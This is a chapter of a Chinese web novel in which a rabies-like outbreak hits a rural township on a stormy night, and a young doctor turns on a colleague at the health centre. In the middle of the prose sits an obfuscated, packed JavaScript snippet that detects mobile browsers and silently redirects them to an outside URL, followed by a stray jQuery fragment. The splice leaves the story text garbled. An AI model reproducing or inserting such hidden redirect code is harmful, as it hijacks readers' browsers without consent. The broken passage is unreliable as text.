魏诗书是很不喜欢老毛的。
他年轻,骄傲,材料写得极好,开会发言信手拈来。
而老毛,喜欢摆老资格,教育这个提醒那个,总是一副过来人模样,满嘴跑火车讲他的光辉岁月,喜欢讲荤笑话——
以上都算了,魏诗书最反感的,是老毛看不上县里下派来的干部。
年轻=莽撞无经验
骄傲=愚蠢不尊老
材料写得好=屁作用没有只会吹牛x
老毛私下的评价,魏诗书都知道。
所以魏诗书也故意作对。
你有经验?过时老套不合时宜;
你有光辉过往?好汉不提当年勇;
你喜欢指点几句后辈?我分管的人要你多管闲事。
来啊,相互膈应啊!我能等到你退休!
可是,此刻的魏诗书,突然觉得,自己很幼稚。
今夜的雨太大,雷声太响,突发情况太惊人。
魏诗书脑海里只有一个念头,他不能丢下老毛!
老毛要是不跑过去救他,就不会被困住。
在老毛怒吼的那几秒钟,他已经凭借比这些退役军人更瘦小的身躯钻到了前排,把安全带扣在身上,然后打开了车门。
“开车!!”魏诗书不敢说太多字,他抓紧了老毛的后背,使劲往里拖。
虽然魏诗书拖不动老毛,但开车的同志也很给力,在看到那些人毫无理智地撕扯老毛身上的血肉后,他潜意识自动接管了大脑。
不需要思考,人为了求生,肢体会自己动作!
舒铭开车的路线已经打了个样,开车的同志一个油门兼甩动,冲!!!
车窗外的雨水糊了魏诗书一脸,他双手死死抓着老毛的衣服,安全带死死地勒住他的身躯。
他想:老毛吃什么长大的!真特么的重!这回危机过了,一定要去健身!
车辆的动力远比人力大,老毛龇牙咧嘴地被从人群中扯离,昏暗和混乱中,电闪雷鸣中,他被树木枝条抽了一脸,上下颠簸,腿脚不知道撞到什么,痛得很。
呵,这小魏同志,还是不赖。
一辆又一辆的车狂奔而去,只留下了不清楚前因后果的镇长一车人,万分无助地停留在原地,承受着上百“人”的咆哮围攻……
*
镇卫生院
一个小时前,院里紧急通知所有医护人员返岗,隔得近的都来了,已经提前开始做准备;住在县城的多半是走不了国道只能绕路,一时半会儿还到不了。
此刻回医院来的,只有本地住得近的三个护士两个医生。
镇政府分管卫健的副镇长侯未香还守在这里,负责卫健工作的中层干部也在,正和院长、副院长一起安排工作。
应急突发情况,虽然不管是镇政府还是镇卫生院,都有一套平时准备着的应急预案。
但,再完美的应急预案,都抵不住现实的突发变故。
大家对着这赶回来的三猫两狗长吁短叹,人手严重不足啊!
再看了侯副镇长手机工作群里陈云皓发的视频后,白白胖胖的院长更是头痛欲裂:
“首例病患确定是刘二刚不?他什么时候被狗咬的?怎么有那么多村民同时发病?村卫生站也没有上报过多人被狗咬伤的事情啊!黄书记又是怎么回事,发病得这么快?这是什么变异的狂犬病毒吗?”
侯副镇长拿着手机上下翻,信号断之前县上已经有县级部门给出了明确回复,县上已经开启突发公共卫生事件响应。
“我们现在接到的信息,第一个咬人的是刘二刚。但白天的时候,踏水村已经出现家禽被咬死、家中大狗失踪的情况。其它具体情况不明。“
“这已经属于突发公共卫生事件了,县卫健局和疾控中心的应急车辆已经出来,公安、农业农村部门都跟随响应。其他村社区,网络中断前我们已经通知出去,要先在各村组群里发预警。明天天一亮,就开始统计半年内被猫狗等动物咬伤抓伤的情况。”
侯未香的脑仁一抽一抽的疼,她急的一小时不到额头冒出好多个痘。
暴雨时候的大半夜啊,真的是十分不友好的时间段。
各村社区都无法马上组织起来大量的人员进行排查,要是半夜出去再被什么狗咬了蛇咬了,或者是乱跑的感染者咬了,麻烦更大。
大家都在等,焦灼地等,等上级的支援,等雨停,等天亮。
半秃顶的副院长一直在拨打外出医生护士的电话,可惜,通信出问题了,打不通。
副院长焦虑得原地绕着院长和侯未香转圈,嘴里一直用土话念念叨叨:
“哎哟喂,要各儿法哦,先人板板嘞,电话咋个打不通哦,晓得是啥子情况哦,硬是伤人得很,天菩萨地菩萨,楞个危险嘛就不要喊我们卫生院出人嘛……”
侯副镇长本来就头疼,再被副院长这样绕着念“经”,不仅是头疼,心口都要疼了。
她不得不打断副院长,转移对方的注意力,“从视频上看,卫生院的医生护士都是上了救护车逃…开走了,应该会回来。”
“坐下来,别转了,我们再商量下工作。”
副院长这才坐下来,但还是跟屁股底下有针头一样,左右都坐不周正。
“虽然国道断了,但县上的支援队伍今晚一定会到。医疗系统的队伍肯定会优先到卫生院集合,毕竟治疗和使用药品器材什么的还是卫生院更方便。”
“我们要先把能准备的都准备好,单人单间避免交叉刺激的隔离病房,医护人员至少穿戴二级防护,患者的分泌物、排泄物、接触过的物品都必须严格消毒。”
侯未香并不是学医出身,她大学时汉语言文学专业,只不过是在镇上分管联系医疗卫健口,所以她说到专业的知识,都不太有底气。专业领域上,她更倾向于听院长的意见。
“院长,你看如何?”
院长其实也不是什么专家,卫生院能治疗的无非是感冒头疼和基础伤病,但凡有点难度的他们都喊转院。
他搓着手为难地回答,“疫苗和清创药品我们已经做好准备了,可咱们卫生院这条件,隔离病房是别想了,没有。”
副院长突然灵光一闪,他刨了一把稀疏的头发,“侯镇,我建议之后带回来的患者们,最好是统一带到前些年废弃的隔离点去。那里有一百多个小方舱,还有专门的隔离消毒建筑。”
侯未香也有点为难,“已经好多年没用了,今晚这场雷暴雨覆盖了全镇,又是半夜……”
“你跟书记报告下嘛,所有镇干部马上去收拾,能收拾多少间算多少间。咱也不知道今晚会闹成什么样,天亮了会怎么样。之后万一有发病的需要隔离,去方舱总比在咱们这里方便,并且不容易打扰到其他病人。”
院长总觉得心里发毛,那视频里的场景,太不正常了,梦回新冠,梦回非典,梦回一切艰难时刻,甚至梦回看惊悚片时的心理状态。
反应过激不可怕,顶多自己吓自己;反应不过来才可怕,你根本预计不到后果到底是什么。
侯未香觉得院长说的有道理,现在电话打不通,她只能亲自回去跟镇书记报告。
“那我先回去一趟。肖主任留在这里,要是有什么情况,你安排她回来传话。”
肖主任是负责卫健工作的一位中年大姐,跟医院打交道多年,院长副院长跟她都很熟稔。
说完,侯未香打着伞急匆匆地去开车,往镇政府开去。
然后——侯未香刚走不到五分钟,卫生院的救护车回来了。
*
范小秋和救护车司机惊魂未定,他们一路风驰电掣地飞奔回来,纯属本能反应。
救护车司机当时没下车,他眼看着那么多镇干部警察随行,自己下去也没什么用,就把救护车调头,尾门锁打开,等着可能出现的伤员。
结果没想到,他车都还没摆正,里面就出了变故。范小秋一边嚎着诈尸一边玩命地跑,后面的场景跟恐怖电影一样。
他也是被吓到了,范护士说快跑,他立马开车就跑。
等车都开回镇卫生院了,这两人才后知后觉。
他们倒是跑了,派出所和镇政府的同志们呢?
司机:“……”
范小秋:“……”
啊这……他们也有车,应该也会跑……吧?
他们面面相觑地在车里对视良久,苦涩的情绪肆意蔓延。
虽然觉得很愧疚,可是当时那种情况,人在受到极度惊吓后本能选择了先跑,也是没有办法的事情。
跑都跑到卫生院了,总不可能就这样又转头跑回去吧……
遇事不决问领导,范小秋决定,先去找领导!
楼上有护士看着救护车回来了,不知道是什么情况,赶紧跑回去通知院长。
听护士来说救护车回来了,院长副院长立马起来,带着医生护士往下走,大家七嘴八舌地讨论。
“能把车开回来,那司机应该还是个正常人!”
“不知道有没有受伤,还是赶紧先打一针疫苗。”
“打疫苗有用吗?”
“甭管有用没用,打了心里踏实些啊!你要是被咬了,你打不打?”
“我现在就想提前给自己一针……”
“要不等会儿悄悄先打?”
“不符合规定欸,咱们这里存量本来就不够,肯定要紧着受伤村民和受伤一线同志用。”
“我就说说,唉,紧张得很。”
“……”听着三猫两狗的叽里咕噜,副院长感觉自己头顶那几根稀疏的秀发摇摇欲坠,今晚说不定就得脱落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122960|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院长瞪了这几人一眼,年轻人真的就是没轻没重的。
“好了,别闹了,待会儿站远点,先观察情况。”
路过底楼墙壁转角的时候,院长顺手拿了一根输液杆子在手上。
副院长不明所以,“院长,你这是?”
院长看了看手上的杆子,这真的是条件反射动作,他赶紧给自己找理由:
“顺手拿了,我这觉得啊,万一,你说万一咱们医生护士被咬了,待会儿突然一个暴起,咱们咋办?”
副院长和医生护士们听了,全部将院长护到身前。
院长;“……”很好!等着发年终绩效的时候你们再来讨好我吧!
范小秋和司机准备下车的时候,院长一行人都走到了大厅外,阵型十分奇特。
拿着长输液杆子的院长走在最前面,脚步颤巍巍的,丝毫没有平时的威风八面。副院长和医生护士们跟在他的身后,各个也是神色紧张,随时做好奔逃准备。
此时救护车停在平时拉病人回来的固定位置,刚好是大门外。
毕竟司机能把车平安开回来,没有撞山壁翻高坡,已经是运气绝佳外加身体本能反应下超高的驾驶技术。
司机本人坐在驾驶位上,两条腿不受控制地抖,他真的是超常发挥了。
范小秋下车就开始哇哇大哭,她浑身湿透,惊吓过度,下车脚软得差点没摔倒:
“呜呜呜院长啊!太吓人了啊!这到底是怎么回事啊!”
四十多岁的院长谨慎得很,他隔着两步远,一边后退,手里的杆子对着前方,一边伸出一点点手掌对着空气上下扇动,表示对范小秋的安抚:
“好了好了,没事了,快下来喝点热水,跟我们讲讲到底发生了什么。”
副院长伸着脖子往车里面看,满脸的担心,急切地问一脸菜色的司机,“小唐呢?”
小唐是跟着救护车出诊的医生,年纪不大,是本地孩子读定向专业回来的。
这种定向免费医学生,主要是培养农村孩子,在校期间学费住宿费国家负担,还会给生活补助,毕业后纳入乡镇卫生院编制管理,定向服务基层。
小唐家以前还是贫困户,副院长负责帮扶,逢年过节都要亲自上门,高考选定向医学生专业,也是副院长指导,他对小唐就跟自家亲孩子没区别。
毕业后的小唐成本来可以选离城更近的卫生院。可小唐却主动选择回这边来,他说这是接班,他要照顾好乡亲们。
乡亲们也都很喜欢小唐,他听得懂方言,从不厌烦老一辈人叽里咕噜半天讲不到重点的行为,和镇里各村社区的都沾点转角亲戚,白班夜班任劳任怨,上进肯学,优点数不清。
司机听范小秋说过唐医生跑上车了,他一路丢了魂一般地开车,根本无暇顾及,这才往驾驶室后面的玻璃窗看,嘴里回答:“在里面呢!”
唐医生垂头坐在救护车里一侧的凳子上,整个人垂着头,身躯细微地发着抖。
“他没事吧?”副院长焦急往前面走了两步。
司机敲敲窗户,后面的唐医生却没反应。
“好像是晕了过去……”司机下车,往后走了一步无去看。
唐医生一动不动,垂着头,像是散了最后一口气,径直头向下倒在了地上。
司机愣了下,“好像,刚死了……”
这句话说得大家一惊,副院长整个人都懵了,直接拉开他这边的车门。
唐医生倒地的姿势还维持着坐姿的佝偻,身体没有了呼吸的起伏,皮肤呈浅青色。
出于医生条件反射,副院长怀疑唐医生是心跳呼吸暂停,他立即伸手去摸唐医生的颈动脉,甚至心里想好了要为同事做心肺复苏。
在副院长触及唐医生身体的瞬间,唐医生猛地抬头,双目荧红,身体拉成反弓状,然后突然蜷呈一团,拉住副院长的手狠狠咬下!
“啊啊啊啊!!!”副院长发出刺耳惨叫!
周围的几个医生护士吓到了,赶紧上去拉扯。
院长目眦欲裂,在一旁喊,“别被他咬到,去拿叉子拖把啊!别用手去拉!!”
说话间有医生往门卫室跑去拿武器,院长举着手里的输液杆冲了上去,先是往唐医生身上打。
连打十几下,打得院长气喘吁吁,却丝毫不起作用。
旁边另外一个男医生看不下去了,夺过院长手里的杆子,用戳的方式,毫不留情地往唐医生拿荧红色不像人的眼睛上戳!
这般连戳几下,有着躲避本能的唐医生在损失一只眼睛后,终于放开了副院长。
副院长右手被撕掉好大一块肉,手指也被咬断了两根,疼的满头大汗,他心中涌起难以言喻的悲痛,比失去手指痛多了。
小唐啊……他怎么跟小唐家里交代啊……